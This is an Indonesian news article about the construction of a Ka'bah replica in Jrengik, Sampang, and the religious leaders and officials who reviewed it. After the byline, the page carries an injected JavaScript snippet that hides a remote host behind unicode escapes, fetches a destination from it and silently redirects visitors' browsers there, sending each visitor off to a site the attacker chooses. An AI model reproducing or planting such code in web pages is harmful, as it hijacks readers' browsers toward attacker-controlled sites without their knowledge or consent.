SAMPANG | nusaberita.live – Proses pembangunan replika Ka’bah di Kecamatan Jrengik, Kabupaten Sampang yang merupakan suatu kebanggaan bagi masyarakat karena akan menjadi salah satu icon tersendiri di bumi Trunojoyo, saat ini sempat viral di Tik-Tok dan berbagai media sosial (medsos) lainnya, serta berbagai pemberitaan.
Pasalnya, pemberitaan yang mengemuka terkait pembangunan tersebut, selalu muncul stigma miring, padahal maksud pembangunan itu bertujuan sangat mulia, untuk menyediakan suatu sarana peribadatan bagi masyarakat muslim untuk lebih meningkatkan ketaqwaan diri kepada Allah SWT.
Menyikapi itu, akhirnya Aliansi Ulama Madura (AUMA) mengeluarkan surat resmi, yang pada intinya memberikan suatu masukan dan beberapa saran sebagai penyempurnaan pembangunan replika Ka’bah tersebut.
Tak hanya itu, dari unsur pemerintah melalui perwakilan Kantor Kementerian Agama (Kankemenag) Kabupaten Sampang, dan Majelis Ulama Indonesia (MUI) Sampang, Dewan Masjid Indonesia (DMI) Sampang serta Ormas NU melalui Majelis Wakil Cabang Nahdlatul Ulama’ (MWC NU) Kecamatan Jrengik memastikan kebenaran dari rumor yang sempat viral, agar bisa memberikan suatu pandangan bersama diantara para Alim Ulama’, dengan meninjau langsung ke lokasi pembangunan yang cukup artistik ini, di lokasi Desa Taman, Kecamatan Jrengik, Sampang, Madura, Jawa Timur, pada Kamis (2/1/2025).
Pada dasarnya, para Ulama’ yang tergabung dalam AUMA Sampang sendiri begitu mengapresiasi hasil buah karya berupa pembangunan replika Ka’bah yang digagas oleh seorang dokter perempuan berhati mulia seperti dr. Hj. Turah SP. OG. M.kes tersebut, selama bertujuan untuk kemaslahatan ummat dan niatan dalam upaya menghidupkan UMKM serta PKL di sekitaran lokasi pembangunan nantinya.
Dan tak hanya itu, Ketua MWC NU Kecamatan Jrengik juga berharap kedepan, banyak dr. Hj. Turah yang lain muncul dalam berniatan mulia untuk ummat.
Sementara, Humas Panitia Pembangunan Replika Ka’bah, H. Joni Purnomo menjelaskan dalam keterangan persnya, bahwa Panitia Pembangunan sangat perlu bimbingan serta masukan dari para Alim Ulama dan Umaro’, apabila dari pembangunan tersebut dirasa ada yang tidak sesuai dari ketentuan atau tidak diperkenankan ada kesamaan dengan bentuk Ka’bah aslinya.
“Pada intinya kami perlu masukan juga bimbingan dari para Alim Ulama’ dan Habaib, karena niatan kami baik demi mengharap Ridho’ Allah SWT dengan memudahkan umat dalam menjalankan ibadah, juga direncanakan pembangunan ini bisa menambah icon Kabupaten Sampang yang kami cintai,” ungkapnya.
Pria yang juga merupakan mantan legislator dari PPP ini juga sangat berterimakasih atas dukungan para Alim Ulama’, hingga nantinya pembangunan replika Ka’bah bisa terselesaikan dengan sempurna, baik dari segi fisik bangunan dan juga dari sisi syari’at yang sesuai menurut anjuran.
“Alhamdulillah kami bisa sowan ke beberapa Ulama kharismatik di Sampang, salah satunya Kyai Izzat Iraqi Duwek Pote, beliau mendukung penuh pembangunan replika Ka’bah yang ada di Desa Taman Kecamatan Jrengik. Proses pembangunan masih belum selesai dan masih banyak kekurangannya, semisal belum ada Quba, akan ada penambahan empat buah payung besar, dan warna cat tidak akan diganti karena hanya replika serta bagian atap juga belum rampung,” tambah Joni memaparkan.
Panitia pembangunan memahami, terbitnya surat resmi dari AUMA akan memberikan suatu motivasi sekaligus menjadikan kehati-hatian bagi pihaknya dalam merampungkan pekerjaan dari suatu buah karya pembangunan replika Ka’bah tersebut.
Panitia juga sudah menghadap Kemenag Sampang dan akan mengagendakan bersama Kyai Izzat Iraqi untuk menghadap untuk bersilaturahmi, sekaligus memohon wejangan Al Mukarrom Kyai Karrar Shinhaji.
Dan terakhir, dr. Hj, Turah SP. OG. M.kes, melalui Ketua Panitia Pembangunan replika Ka’bah, Zaini, menyampaikan rasa syukur kepada Tuhan yang Maha Esa atas kesehatan dan kesempatan di sisa umurnya untuk bisa membagikan sebagian rezeki mereka di jalan Allah SWT sebagai bentuk niatan ibadah.
“Terimakasih atas dukungan dan nasihat yang bijak dari seluruh Alim Ulama’, para Habaib serta Umaro’, apabila ada yang kurang tepat dan pantas, selaku panitia pembangunan memohon maaf sebesar-besarnya atas kekhilafan kami,” tutup Zaini mewakili dr. Hj, Turah SP. OG. M.kes. (PM_red)
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();